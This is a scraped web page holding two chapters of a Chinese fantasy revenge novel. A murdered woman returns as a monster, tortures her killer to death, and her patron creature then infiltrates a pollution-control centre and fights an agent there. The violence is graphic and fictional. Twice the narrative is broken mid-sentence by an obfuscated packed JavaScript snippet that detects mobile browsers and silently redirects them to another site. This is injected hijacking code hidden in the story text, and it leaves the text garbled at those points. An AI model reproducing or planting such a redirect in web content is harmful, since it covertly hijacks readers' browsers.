很多个她们都一样。 她们只能互相吐槽、互相开解、互相鼓励，直到某一天，谁先彻底地沉入海底。 说实话，如果世界角落真存在这样一片海，探险家将会在海底发现无数女孩溺死的白骨。 一层摞着一层，从过去到现在到未来。 然后，在这种眩晕迷茫又无助的情况下，陈曦做出了最蠢的选择—— 她将希望寄托在关系亲密的男友袁宥身上，几乎将所有心事跟他诉说，因为男友似乎生来就没有这种烦恼。 尽管并不完全理解陈曦的痛苦，但他温柔又包容，总是沉稳地接下她一切负面情绪，默默陪伴在她身边。 这让陈曦以为，自己终于遇到了可靠的避风港。 于是大学毕业的第二年，她便带着对未来的期待步入婚姻殿堂。 她以为终于摆脱了那些时刻审视她的眼睛，在新的小家里，她终于自由从容了。 一开始的两年的确是这样，得益于父母留下的遗产，无论生活中遇到什么困难，基本都能很快解决。 她甚至还计划孕育一个属于自己和袁宥的孩子，就是所谓爱的结晶。 听起来多么美好啊。 可是后来，不知道什么时候起，袁宥就好像变了一个人，暴躁易怒、虚伪自大，甚至变成了一枚只会吸金的无底洞。 创业失败，问她要钱。 打点人情关系，问她要钱。 领导过生日，问她要钱。 钱钱钱，很长一段时间，陈曦脑海里只剩下这个字以及丈夫狰狞的嘴脸。 多么俗套的桥段，却每时每刻正发生在世界的每个角落，包括陈曦身上。 “陈曦你真自私！我是你老公，你的钱借我用用怎么了！又没说不还！” “陈曦你怎么变成这样了？刚认识你的时候你不是这样的。” “你一向最体贴最懂事，你是那么温柔善良的女孩，就不能帮帮我吗？” “我保证这是最后一次，最后一次！这次的项目绝对靠谱，等赚了钱，稳定下来，我们就生一个孩子，好吗？” 熟悉的话术令陈曦脑海中响起尖锐耳鸣，一瞬间仿佛站在面前的不是袁宥，而是姑姑、姑父、舅舅……等等很多很多人。 她不是跟袁宥结婚了吗？ 可为什么走到哪里都逃不过那些噪音和凝视的目光。 陈曦又想吐了。 这一次她真的吐了出来，吐得昏天黑地，手脚发软，五脏六腑像被放在铁板上烤，滋啦滋啦地响。 她病了。 在她最虚弱的时候，袁宥日日夜夜逼问她最后那套房产的证件下落，要拿去填补债务。 陈曦躺在病床上平静地看着他：“那是我和我爸妈的回忆，我不会给你，你死心吧。” 袁宥瞬间暴怒，拽着她的病号服把她拖回了家，把她关在房间里，饿了好几天。 但陈曦没松口。 他又对陈曦拳打脚踢，继续逼问，毫不在意她现在是一名虚弱的病人。 陈曦依旧没松口。 但很可惜的是，尽管现在她终于生出反抗的念头，可没有人教过她该如何去反抗。 她没有力量，能做到的最激烈的反抗就是沉默和拒绝。 最后，债务逼得袁宥狗急跳墙，他不知道从哪里咨询了关于配偶死亡后的财产分属问题。 陈曦父母双亡，大学毕业后又逃离众多亲戚，如今孤身一人，袁宥是她法律及情理上的唯一继承人。 陈曦永远记得那一天，袁宥突然变得很温柔很温柔，仿佛回到了二人最开始相识的时候。 最后，他笑着举起刀：“陈曦，别怪我无情，是你不听话，如果你够乖，我保证会很爱你。” “可你一点也不乖。” “这都是你的错，” 陈曦被乱刀砍死，然后抠出眼睛、拆掉骨头，搅成了肉泥，趁夜丢进湿臭的下水道。 她并不常去回想那种锋利刀刃砍在肉/体上的痛感，但她清醒地记得，在这个过程中，灵魂是如何被无形的刀刃一片片切碎。 极致的痛苦换来深刻的醒悟。 可一切都来不及了，她死了，尸/体被藏在无人问津的下水道内。 即使异化成污染物，污染度也只有18%，什么都做不到。 但现在，有只神秘的污染物出现在她面前，问她—— “你想要力量吗？” “你想要足够去复仇的力量吗？” 陈曦当然是毫不犹豫地答应了。 无论付出什么样的代价，哪怕是向污染物之主献出自己残破的灵魂。 她闭着眼睛，很快感觉到一股神秘而蓬勃的力量进入身体，帮助她将被剁成肉泥的肉/体重新拼接。 同时，那被切碎的灵魂也在以自己想要的模样进行重组。 倘若有一次新生的机会，她想要再次变得乖巧吗？ 不，她的筋肉野蛮生长，她的鲜血将像火焰一样绽开。 她会再次变得温柔吗？ 不，她发誓她的灵魂将永远愤怒、永远咆哮。 于是，在夜深人静的空旷公园里，在干涸停止的喷泉边，一个全新的陈曦诞生了。 姓名：陈曦 污染度：80.7% 等级：A级 异变方向：碎片化 异能：未知 简岁围着面前重组完成的女人滚了一圈。 她有着赤红色的皮肤，皮肤上还有许多细小成串的疤痕，像缝衣服时针脚歪歪扭扭的补丁。 以人类社会的审美角度来说，这一点也不美观。 但简岁感觉这实在是太酷了！ 毕竟能进化到这个程度，她真挺意外的，二次污染后的污染度居然比深穴蜘蛛还要高不少。 要知道陈曦的起点就已经低了20%。 “很好。”简岁简短地赞叹一句，“那么现在该干正事了，你想去哪里？在正式成为我的手下之前，你有三个小时的自由支配时间。” 陈曦青色的眼珠僵硬地转了一圈，有点不太习惯的样子。 她把小果冻简岁捧在怀里，女人赤红的皮肤在黑夜中闪烁，仿佛火焰在熊熊燃烧。 她说：“谢谢。” 夜风送来缕缕浑浊气息，她能闻到那些人恶心的味道，他们绝对还在十四区。 她左手臂的肉开始一片片自动脱落，很快掉下大约四五十块红色肉片。 它们仿佛有自己的意识，化作流光迫不及待飞往十四区各个方向。 现在，是她的复仇时间了。 ………… 碧嘉名苑九栋二单元1809。 凌晨时分，袁宥一家正在熟睡。 前妻去世后，他如愿继承了对方名下那套最大最贵的房产和储蓄金，成功度过事业最艰难时期。 自那之后，他的事业简直一帆风顺，公司越做越大，不过三年时间，已经发展到拥有数百名员工。 那时袁宥想，难怪遇到陈曦后就过得越来越差，那女人果然是个扫把星，先克死她父母，又差点克死他。 还好他听了高人指点，当机立断，才能及时止损，过上现在的好日子！ 最春风得意的时候，袁宥结识了现在的太太徐薇薇，虽然不如陈曦家底殷实，但长得漂亮干净、性格更是温柔如水。 袁宥说往东，她绝对不会往西，袁宥就是她的丈夫她的天。 袁宥喜欢她喜欢得不得了，觉得这才是女人该有的样子。 他想，果然都是陈曦的问题，是她先变得冷漠偏执不近人情，任凭他好声好气地哄都没用。 看吧，在温柔乖巧的徐薇薇面前，他还是那个风度翩翩、温和大度的袁宥。 都是陈曦自己的错。 这样的想法深深烙印在他心底，所以他从来没做过关于陈曦的噩梦，他也不怕。 毕竟就陈曦那个性，难道还真有本事来他梦里闹事？ 袁宥抱着妻子睡得很香，可忽然，他闻到一股奇怪的味道。 不是臭味也不是香味，那是一种难以形容的味道，是不属于人类的气味。 有什么东西窸窸窣窣爬进他的手心。 “袁宥。” 是陈曦的声音。 袁宥猛然睁开眼坐起来，突如其来的动作把妻子都吵醒了。 徐薇薇揉着眼睛问：“老公，怎么了？” 袁宥打开灯环视整间卧室，确认什么都没有，才如释重负地松口气：“……没事，做噩梦了。” 手掌心痒痒的，他下意识低头，竟然看见一块赤红色肉片，紧紧贴在那里，被发现后还翘起尾巴。 “这、这是什么？”徐薇薇大惊。 袁宥后背发凉，伸手想揭下来，可那块肉片好像知道一样，立即狠狠咬开人类皮肤钻进去。 “嘶！！”血肉被钻开的痛苦令他瞬间蜷缩着倒下，额上滚落汗滴，张张嘴却说不出一句话。 大股大股的血从掌心流出，染红床单。 “啊！！这是什么啊！”徐薇薇脸色惨白地躲到床角，反应过来才想起去拿医药箱。 这时，家门忽然被人砸响了。 咚咚咚！咚咚咚！ 一声接一声，巨大的敲击声响彻楼道。 徐薇薇手忙脚乱跑到玄关处，临开门前又总感觉不对劲。 太奇怪了，谁会在这么晚过来？ 今晚到底是怎么回事？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她没有自己谋生的本事，也不愿意自己为生活奔波。 她很没用的，唯一的优点是长得特别漂亮，反正她做一个美丽花瓶就好了。 从小到大，身边人都是这么说的，哪能有错呢？ 陈曦看了她一眼，仿佛透过她看见了其他人，因此没再做什么，径直走进主卧。 袁宥早就听见玄关的动静，捂着流血的手心往外走，一抬头就看见左右排开的四名人偶，像一面诡异扭曲的艺术墙。 这些人不是陈曦的亲戚吗！？怎么会在这里！？ 然后，他看见了站在正中央的陈曦。 袁宥跌跌撞撞后退几步，吓得一屁股坐在地上，面色惨白：“陈、陈曦？我在做梦？我一定是在做梦！” 啪啪啪。 他开始大力地拍自己的脸，掌心流出的血质地黏腻，沾在脸上和衣服上，到处都是。 他打得脸都肿了，可怎么都醒不过来。 这不是梦。 陈曦真的回来找他了！ 被搅成肉泥的陈曦回来找他了！ 袁宥猛地缩到角落，惊恐大叫：“这不可能！你是鬼！你是怪物！你不是陈曦！” 陈曦以居高临下的视角看着他，这还是她第一次这么看着他。 她惊奇地发现，此刻的袁宥看起来那么脆弱，脆弱得仿佛只要随便一捏就能捏碎。 她一勾手，寄生的肉片就动起来，连带着他的手臂高高举起，折到脑后。 咔嚓，骨折的声音。 “啊啊！！你要干什么！” 她将袁宥的每个关节都埋上肉片，硬生生钻出一个个猩红的血窟窿，制成新的人偶。 袁宥痛得直吸气，浑身抽搐不已，却无法反抗这股诡异的力量。 “不、不……” 他没想到陈曦变成怪物回来了，还变得这么强！ 他倒在地上痛哭流涕：“曦曦，曦曦别这样对我！我当时不是真的想杀了你，我是迫不得已的！” “你看！你看我的公司已经开起来了！我能给你很好的生活！咱们重新在一起吧！我发誓会永远爱你！” 陈曦置若罔闻，看他的眼神就像看一只在洪流面前挣扎的蚂蚁。 看他低声下气、苦苦求饶，谨小慎微讨好的样子像极了以前的自己。 这让她有一种掌控全局的满足感。 可笑的是，她必须惨烈地死去一次，再幸运地活过来，才有机会让袁宥和亲戚们向她磕头认错。 而陈曦们，生来就学会低头。 她总算明白，为何世界要将女孩们都打造成“陈曦”，为何总有一股奇怪的力量将她们驱赶向同一个结局。 不同的灵魂被困在同样的躯壳里。 那个躯壳要漂亮、要乖巧、要懂事、要贤淑、要温柔，要学会理解所有人的苦衷和好心，要抛开自己所有的委屈和不适。 陈曦受够了。 她抬起双手，同时调动数十块寄生肉片，卧室瞬间变成了属于她个人的一场盛大的人偶戏。 亲戚人偶拿出刀，手舞足蹈扑向躺在血泊中的袁宥，眼里冒出兴奋的光。 舅舅和姑父按住他，姑姑和堂弟一片片割下男人的肉，动作细致又利落。 “啊啊啊啊啊啊啊！！！” 卧室里很快笼罩一层血光，像是罗刹地狱的光景。 陈曦靠在窗边，偏头看向高档的梳妆镜，里面倒映出自己赤红的身影，以及身后被亲戚人偶围攻的袁宥。 每被割下一块肉，他就凄厉地惨叫一声，那些求饶的话破碎得听不清。 不过没关系，反正她不在意。 直到宛如洪流的血色将袁宥彻底吞噬，刀刃砍向森森白骨，亲戚人偶将刀子同时插进对方胸口，齐齐倒在满地鲜血中。 终于，世界用来凝视陈曦的眼睛彻底瞎了，它们再也无法发出恶心的声音。 陈曦也不再会有呕吐的冲动，她看着这一切，始终带着微笑，哼着歌。 镜子里的女人也在笑，赤红肌肤被拉扯出僵硬褶皱，左边嘴角延伸出的疤痕一直弯到耳根。 今晚所有人一见到她就吓得屁滚尿流，一边尖叫一边说她是怪物。 她想起活着的时候，人们如何定义一个女孩是否漂亮。 得皮肤白眼睛大、四肢纤瘦、会穿衣打扮。 得同时有精致的外表和柔弱可欺的灵魂。 那时候，陈曦经常被夸赞。 可她总是惴惴不安，总是不自信。 而现在，她看向镜子里有着赤红肌肤和扭曲疤痕的自己，只看到掌控力量的优雅和从容—— 她简直想放声大笑。 她从没觉得自己如此美丽。 11.入侵 “都解决了？” 简岁从门外滚进来，本想进主卧看看，发现满地的血之后默默停下。 污染物也要讲卫生的，她要做一颗干干净净的小果冻。 她甩出几根蛛丝，在地板那堆人体组织和碎肉里翻翻找找，很快找到袁宥的智能光脑，光幕弹出，显示的还是一键报警界面。 陈曦听见声音走出来，踩出一排血脚印，看到简岁有点不好意思地说：“被我弄得太乱了，我们出去说吧。” 她跟简岁说话的声音很平和，完全看不出刚刚才杀了好几个人类。 简岁心想这个心理素质正是她想找的。 她晃了晃被蛛丝卷住的智能终端，说：“天快亮了，我一会儿会按下这个报警键，你留在这里应付污染处理中心的人，打不过可以跑，随便你怎么做，拖够半小时就行。” 陈曦微微一愣。 刚才袁宥虽然是强装镇定地威胁她，但却没吹牛，只要按下这个虚拟按键，所在位置就会立刻发送到污染处理中心信息部。 其实从她出现开始，信息部那边应该就已经察觉出污染浓度值波动的异常，只不过有光脑定位会更精准，处理员调动也更快。 而一旦被信息部锁定，那就很难逃出生天了。 好不容易获得新生，换谁都不愿意立马冒险。简岁以为她在犹豫：“有困难可以提。” 陈曦摇摇头，问：“您是想让我替您吸引一部分中心那边的注意力？” “是啊。”简岁一点也不介意表露自己利用她的意图，甚至大大方方地讲出计划，“一会儿趁他们来抓你，我就进处理中心溜达溜达，没去过，有点好奇。” 这样的理由听起来很敷衍，但陈曦没多问，弄明白自己具体要做什么就够了。 她说过，只要给她复仇的力量，就愿意献出一切，哪怕是二次生命，这是她的承诺。 袁宥的新房位置格外好，靠近十四区中央地带。 陈曦拉开客厅窗帘，从这里望过去甚至能看见远处的污染处理中心大楼，一百多层高，外面采用的是统一的银灰色新材质玻璃窗。 大部分窗口是黑漆漆的，顶多有零星几处亮着灯光，唯独靠上的某一截楼层全部灯火通明，一共大约有十几层的样子。 陈曦解释说：“污染处理中心大楼平常人就不多，尤其执行部的处理员不是出任务就是在休假，到晚上应该最多只有三支小队留守，算上其他部门加班的一共不超过五十人。” “唯独信息部全年二十四小时无休，即便是现在这个时间点，也一定时刻待命，我还听说部长江越梅是个特别厉害的人，您要小心。” 这些都是她做污染物的时候道听途说的，她藏身的那座公园离处理中心大楼很近，每天都有中心的员工路过或者饭后散步聊天。 有时候他们聊一些工作上的话题，以为旁边没人，其实陈曦都听见了。 简岁点点头：“谢谢你的情报，很有用。” 陈曦问：“那我该怎么称呼您？” “叫我简岁就行啊，简单的简，年岁的岁。” 陈曦迟疑了下还想说什么，可简岁已经果断按下报警键，之后把智能终端迅速扔回血堆中，直接从1809的窗台往下跳。 她在空中化为轻盈水流，悄无声息地降落在建筑侧边的阴影中，然后循着阴影朝污染处理中心大楼而去。 时间接近凌晨三点，正是城市鼾睡时分，除了少数打算通宵达旦的卷王，放眼望去几乎只有主道旁的路灯还亮着。 简岁刚走出碧嘉名苑小区，就看见两支穿戴齐整的四人处理员小队从大门口下车，直奔小区内而来。 处理中心的动作比想象中还要快，应该是提前就监测到碧嘉名苑污染浓度异常了。 如果刚刚那是去围剿陈曦的队伍，那么现在大楼里就只剩下一支处理员小队，就算正面撞上她也不太怕。 不过简岁也不会掉以轻心，污染处理中心，肯定没这么简单。 她来到中心大楼门口，从缝隙中钻进去，迎面就是始终亮着灯的一楼大厅，装修风格简洁大气，同色的墙壁和地板整洁如新，看得出每天都有人仔细打扫。 天花板则被绘制成十四区地图，整体是半扇形，用不同颜色标注了不同区域。 对比系统给的地图，可以看出最边缘红色的是污染区，黄色是外围区，最里面一大片绿色就是安全区。 只不过在绿色安全区里，还零星散落着数块灰色区域。 这些灰色区域大小、形状、位置都看不出任何规律，系统给的地图上也没有，不知道代表着什么。 大厅的灯光照在简岁身上，令她化成的那些半透明烟雾显得更加隐秘。 她以烟雾形态继续前进，除大厅之外，别的地方就很少亮灯了，偶尔路过一两个办公室，才能透过窗口看见里面加班工作的文职员工。 只是这样看的话，污染处理中心似乎和普通的大型公司没什么很大区别。 简岁把底下六层逛了一遍，终于等到有个员工下班按电梯，她蹭电梯往上跑，最后停在了45层。 这一层属于医疗部，整体来看也没什么特别，只有几名值夜班的医生。 他们分散在办公室里，安静地做自己的事，有人在文件柜前整理病历，有人埋头写记录，有人在查看自己光脑的光幕。 简岁盯了十分钟，整整十分钟，他们仍旧安安静静，仿佛沉浸于值班工作，彼此之间甚至没说过一句话。 这合理吗？这不合理。 哪有人值班能这么心平气和、这么积极做事的，就好像知道有一双眼睛时刻悬在头顶一样。 或许那双眼睛的本意根本不是为了督促他们，但面对上级的目光、装出努力工作的模样是一种刻入打工人DNA的本能。 简岁知道，她已经被发现了。 ………… 信息部。 数量众多的嵌入式顶灯把这里照得一片光辉，西面墙上巨大的全息显示屏昼夜不熄，监视着十四区及周边全部的实时污染浓度数值。 现在接近凌晨三点，值班分析员都换了一批，本已经下班回家休息的部长江越梅却在一个小时前突然回到中心，并坐镇在这里再也没离开。 就在一个多小时前，处理中心附近一座公园突然出现异常污染浓度，从平平无奇的7%突然飙升到80%，引起整个信息部的重视。 都不需要仔细看，就算是刚入职的分析员都知道，这代表这地方刚刚诞生了一只污染物，并且污染度达到80%，步入A级行列。 公园的位置就在中心大楼附近，可以说接近十四区核心区，甚至中心不少员工都曾经去过那里散步或者锻炼。 这么近的地方突然诞生一只高级污染物，所有人都进入警戒状态。 分析员组长一边继续监视该污染物动向，一边赶紧把情况如实层层上报，三分钟后就报到了部长江越梅那里。 十五分钟后，江越梅穿戴整齐抵达处理中心信息部，整个人都透着一股深沉干练的气质，完全看不出其实是大半夜被员工从睡眠中叫起来加班的。 “跟进得怎么样了？” “部长，这只污染物一直在行进，似乎有明确目标。”守在监测设备前的分析员组长想给她让出位置，却被摆摆手拒绝了。 江越梅在边上看着。 80%-90%污染度都被定义为A级污染物，这只虽然才刚到A级，但既然属于高级污染物，那么拥有自主意识也不意外。 不过它既然冲着某个地方去，就必定有某种目的。 A级不好对付，在处理员小队奔赴前线之前，信息部的任务就是尽可能多地获取目标信息。 江越梅沉声说：“继续监测，同时让守夜小队做出勤准备。” 她顿了顿：“让包括两名A级处理员的队伍暂时并队，一起去。” 并队是一种常见的应急措施，当时间紧迫，来不及调动阵容等级都合适的处理员小队时，就会让两支及以上小队暂时性合并，一起出任务。 分析员组长立即安排下去，很快也明白了部长这个命令的用意。 因为那只A级污染物，最后停在了一个叫碧嘉名苑的高档小区。 小区向来是民众聚集点，人口密度巨大，一旦被污染物入侵，那后果将是灾难性的。 最近中心最棘手的那个污染事件，发生地就也是一个小区，所以破坏性太强、范围太广的异能都不适用。 污染物靠近小区的那一刻，江越梅当机立断：“让守夜小队立刻出发。” “是。” 分析员组长通过内部通讯频道有条不紊地下发通知，同时递交一份调动记录到执行部那边。 本质上处理员还是归属于执行部，调动肯定得让那边知道。 不过虽然事发突然，但对信息部来说不算什么特别罕见的情况，有过去的经验作为参照，处理起来很快。 分析员组长一顿操作完，扭头一看部长还在一旁沉默地盯着显示屏，表情讳莫如深。 每次部里出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13743636|144811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突发事件，部长不管在不在休息时间，几乎都会迅速赶来坐镇指挥。 她是公认的工作狂魔，同时也是公认的定海神针，有她在，所有人做事都多几分底气。 可以说江越梅就是十四区信息部乃至整个处理中心的大脑和主心骨。 她一露出这种表情，分析员组长就知道今晚这事肯定没这么简单，老老实实地把头扭回去盯数据。 其他人并不完全清楚发生了什么，但知道能让江部长亲自出动盯着的，一定不是小问题。 看来今夜还会发生点什么。 所有人都不自觉坐得更笔直，仔细地盯着自己面前的监测设备，生怕在这种时候错过重要信息，挨江部长的训斥。 江越梅其实并不能确定自己的判断是对的，不过她还是觉得，或许外围区的那只未知污染物已经进入了安全区。 甚至很有可能，此刻就在污染处理中心附近。 毕竟中心大楼的位置很特殊，这边环境中的污染浓度能达到整个十四区的最低值，通常在6%-10%之间。 这种情况下，如果没有外力干预，凭空出现一只80%污染度的高级污染物的几率是非常小的。 再结合白天在外围区的二次污染事件，很难不令人多想。 或许始作俑者是同一只污染物也说不定。 但这里又有个问题，在报告中，信息部最终给那只不明污染物的定级是A。 当时普遍认为是A级不明污染物促使D级深穴蜘蛛进化到了B级，因为污染的传播向来是自上而下的。 可如果真是它，它又只有A级，该怎么污染出另一只A级污染物？ 江越梅目光沉沉地盯着巨大的全息显示屏，心中只有两个猜测。 要么，外围区的不明污染物和公园这次污染浓度异常没关系，而是存在另一只未被信息部监测到的高级污染物。 要么，外围区那只不明污染物已经轻松越过隔离之墙的防线、进入安全区，等级应该修正为S级。 显然，两只不明A级污染物或者一只四处流窜的不明S级污染物，无论哪个结果对人类来说都不是什么好消息。 江越梅捏捏眉心，声音通过通讯频道传到已经抵达碧嘉名苑小区的处理小队那边。 “找到信号发出位置了吗？” 处理员小队队长的语气很沉重，不知道该怎么描述：“江部长，我们已经到现场了，这里……那只A级污染物虐杀了五个人。” 江越梅沉默一瞬：“我知道了，那只污染物呢？” “正在追。” “还有别的污染物吗？” 小队队长拿出检测器：“暂时没发现。” “好。”江越梅说，“尽力而为，注意安全。” 通讯频道暂时关闭，她让人调出几台空闲的监测设备，把中心大楼内部监测数据集中起来。 如果那只不明污染物真的出现在中心大楼附近，那么很可能本身就是冲着中心来的。 江越梅很少亲自盯数据和画面，所以这一举动引起了不少人的注意。 尤其近几年才入职的员工，更觉得稀奇，但又不敢东张西望，只能故作不经意地偷看几眼。 分析员组长走过来，低声说：“部长，是有什么不对劲吗？还是让我来吧？” 江越梅没说话，指着显示屏上灯光明亮的一楼大厅。 组长看了半天也没看出什么异常，便明白为什么部长要自己来。 他叹口气：“可是您的眼睛……” 江越梅一眨不眨地注视着灯光明亮的一楼大厅，眼底掠过淡淡的流光。 「异能：上帝之眼」。 在她的视野里，原本空无一物的大厅里，忽然有一抹接近透明的烟雾一闪而过。 那抹烟雾顺着阶梯往上，又来到了二楼、三楼…… 它没有明显的目的性，仿佛只是一位误入的路人在好奇心的驱使下四处探索。 最后，它乘坐电梯去到45层，在医疗办公室久久停驻。 江越梅闭上眼：“它发现我了，让姜越过去。” “好。”组长点点头，忍不住说，“部长，您的眼睛情况您也知道，还是……” 人类承受污染获取异能的同时，必然也伴随着身体的异变，且异变通常是负面型的。 江越梅的异能在眼睛，异变也在眼睛，最近几年她用眼越来越少，就是受异变困扰的缘故。 她揉捏眼角，无奈地说：“迟早会瞎，还能用几次就用几次吧。” 12.污染处理中心 从外围区收拾残局回来，没多久姜越就收到新的调令，让他暂时跟着信息部部长听候差遣。 所以江越梅凌晨被叫回处理中心时，姜越就在门口杵着打哈欠，卫衣帽子罩着头，额前露出来的黑色刘海乱糟糟的。 他早知道江部长是个工作狂魔，外围区那只不明污染物没抓到，这几天准没法好好休息的。 只是没想到进展来得这么快，也没想到那只污染物胆子这么大，一进安全区就直奔污染处理中心大楼。 这跟杀了人再冲进警察局有什么区别。 它来做什么？纯挑衅还是别有目的？ 姜越准备动身前往45层，江越梅则继续留在信息部，盯着监测镜头里的一切。 长时间开启「上帝之眼」将对她的眼睛造成极大损耗，但只凭肉眼，她们甚至没法捕捉到那只污染物的具体位置。 处理中心遇到了棘手的敌人。 江越梅接通整座中心大楼的内部通讯频道：“注意，一分钟后将封锁45层所有出口，45层所有人立即撤离。” “重复，一分钟后将封锁45层所有出口，45层所有人立即撤离。” 倒计时00:59。 “姜越，接下来我会把我的视野共享给你，大楼的权限也暂时给你开到最高，我已经向岑部长申请执行部支援，预计十分钟后增援到达，在此期间，你负责拖住它。” 姜越比了个OK，从信息部走廊尽头的窗户一跃而下，迅疾夜风掀开青年的卫衣帽子，露出两只毛茸茸的灰色狼耳。 就在他进入45层的刹那，周边所有出口升起一层银灰色护罩，包括电梯在内全部停运，彻底与外界隔离。 也就在这时，江越梅的视野远程给到他脑子里，眼前的场景扭曲一瞬，他的视野就飞到了高处。 整个45层走廊的景象尽收眼底，他甚至能以第三视角看到自己在前进，像是某种虚拟游戏里控制角色行动的奇妙体验。 他捂了下眼睛，有点微微的眩晕感。 听说江部长本身就是A级异能者，她这异能名为「上帝之眼」，开启时能看到很多肉眼不可见的东西。 更难得的是只要提前标注对象，就能远程共享，只不过损耗也更大。 姜越入职处理中心三年，还是第一次体验，本体撞了几次墙才逐渐习惯这种上帝视角。 四周的一切并没发生太大变化，仍是熟悉的中心大楼模样。 尤其这一层属于医疗部，基本每个处理员都来过，姜越当然也不例外。 他摊开手，掌心飘起半截蛛丝，两端呈现烧焦的黑色，散发着淡淡的污染气味。 从外围区赤火焦土中带回来的东西，经信息部鉴定不属于深穴蜘蛛，那就只能是那只不明污染物的产物。 姜越鼻子在空气中嗅了嗅，黑色耳朵尖也跟着抖了抖，然后沿着走廊往医疗部办公室走去。 污染的气味就在里面，他将手停在身侧，手边萦绕的风逐渐凝实，形成几道青色流光。 「异能：风刃」。 江越梅的视野同时切入办公室监控。 医疗部的人撤走得匆忙，只关了灯，东西都没来得及收拾，办公室内散落几张白底黑字的文件，设备屏幕散发莹莹白光。 一只果冻状半透明团子正挤在屏幕前，专注地不知道看什么。 听见有人进来的动静，它扭过来瞅了眼，又重新扭回去：“来抓我的？来得还挺快。” 姜越龇了龇牙，这是不是有点太松弛了？有自主意识的高级污染物就是麻烦。 “是，怎么样，我动手还是你自己投降？” 简岁笑了下，这个年纪的小男生果然口气大，且常常觉得自己很帅。 屏幕的光透过她半透明的躯体，显得这颗团子在发光。 她终于找到自己想要的信息，从办公桌跳下来的同时，直接数根蛛丝甩出去。 姜越敏捷闪开，扔掉手里那截烧焦的蛛丝，疑惑问：“真是你的东西，可我看你本体并不是蜘蛛，为什么会有蛛丝异能？” 而且在0743小队的报告里，直到赤火点燃前，这只污染物都没用过任何攻击异能。 是在深穴蜘蛛死后，它才获取了蛛丝。 姜越想到一种可能，脸色微变。 恐怕现在信息部的人跟他想法是一样的吧。 这只污染物很可能拥有某种能剥夺或复制其他异能的异能，能剥夺几次？怎么剥夺？ 如果无限制，那就太可怕了。 他的脸色终于露出几分凝重，明白今夜一定得控制住眼前这只自投罗网的污染物。 一旦让它逃走，信息部又无法快速监测到准确位置，它肯定还会继续成长，到时候再想追捕就很难了。 姜越再次凝出风刃，提速向前方冲去。 简岁撒出蛛丝，织成一张细腻粘稠的大网，堵住对方所有前进路线。 刹那间，无数青光闪过，蛛网被瞬间斩成数百长短不一的碎片。 明明是在室内，却不知哪里吹来一阵风，被斩断的蛛丝纷纷扬扬落下，像漫天飞舞的线头。 风吹开一条干净通道，姜越将速度拉到极致，几乎一瞬间就到了简岁面前。 他手中握着最凝实、最锋利的一把风刃，尾部拖出青色流光，狠狠刺下。 浓郁的一点青光扑面而来，简岁一动不动。 好吧，主要是她移速太慢了，动也是白动。 还不如这样站着帅一点，显得她是一颗临危不乱、很优雅的小果冻。 反正谁还不会耍帅呢？ “噌——” 想象中轻易刺穿对方的场景并没有出现，一块黑铁色外壳突然出现在目标方向，挡住了风刃一往无前的攻势。 「钢铁外壳」。 可抵挡B级以下全部实体伤害，可抵挡B级70%伤害，逐级递减。 外壳应声而碎，才露出污染物果冻状的躯体，风刃的尖端噗嗤一声没入。 但因为被挡了下，所以只刺进去一小截。 姜越下意识想拔出来，可风刃上忽然传出一股诡异的吸力，似乎要把风刃吞没。 他脸色一变，当机立断放手。 简岁半透明的躯体融化一半，将风刃包裹进身体，消化了：“哇，这个味道啊，青苹果味。” 跟小蜘蛛大蜘蛛一比，这味道清新多了，甚至称得上美味。 姜越：？？？ 真的假的，他觉醒以来，还是第一次听别人说他的风刃是青苹果味！ 他重新捏出一把风刃，抬手下刺。 外壳果然再次出现在目标位置。 可这一次，不止有一把风刃。 无名之风送来更多的青色流光，几乎将简岁团团包围，数十枚风刃齐发，全部瞄准最中央的小污染物。 简岁无处可逃，钢铁外壳也来不及覆盖全身。 风刃拉出数十条青色光线，横纵交错地划开空间，将这块地方彻底切割，连同地面散落的文件一起变成数百枚纸片。 江越梅的「上帝之眼」甚至能看见划开空间后短暂出现的黑色裂缝，视野扭曲。 姜越是A级异能者，所谓风刃当然不只是物理意义上的利器那么简单，还有一定切割空间的威力。 意料之中的，那只污染物也被切割开，半透明物质像数据流一样瞬间坍塌。 从信息部的报告来看，这只污染物似乎能通过形态变化巧妙规避物理攻击，恰恰最克制姜越的风刃。 所以从一开始他就没敢轻敌，凝聚出来的风刃都带着空间切割属性。 消耗巨大但有用。 姜越等了一会儿，确定那污染物没能像报告里说的那样瞬间复活。 想来是风刃的切割带着空间属性，所以它这回没能完全规避掉。 他这才关掉上帝视角，上前单膝跪下，握着风刃在那一堆半透明物质里翻翻找找，谁知找了半天都没找到污染原核。 奇怪…… 他心头逐渐升起不祥的预感。 信息部内，江越梅脸色已经有些泛白。 长时间维持异能令她极度疲惫，但她仍然强撑着精神，专注盯着医疗部办公室内的风吹草动。 忽然，那堆半透明物质里晕开一团雪白。 “姜越！小心！” 姜越狼耳一抖，猛地往前滚出一圈。 无数蛛丝在他原来的位置以疯狂的速度生长，仿佛一丛细长的触手。 发现扑空之后，那些蛛丝就像安了追踪装置似的，立即调转方向，扑头盖脸涌向他，死死拦住他的去路。 姜越手中风刃甩出残影，不断地切割蛛丝，但这会儿的 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她不说话还好，一说话姜越就气得牙痒痒，咬牙道：“诈死还搞偷袭！正面打我可未必会输！” 怎么会有这样的污染物啊！ 简岁围着他转了一圈：“话可不是这么说的，兵者，诡道也，用的都是我自己的本事，你有什么不服气？” “我就不服气。”姜越盯着她，嘴里开始碎碎念，“奇了怪了，我的风刃明明把你切碎了，为什么你没死？为什么会找不到污染原核？” 心里却在默数时间。 十分钟，他需要拖十分钟，还差三分钟。 话疗也是拖啊，论狡诈人类自古以来都是好手。 这只污染物不仅生出自主意识，还拥有作战的智慧，这其实令他很惊讶。 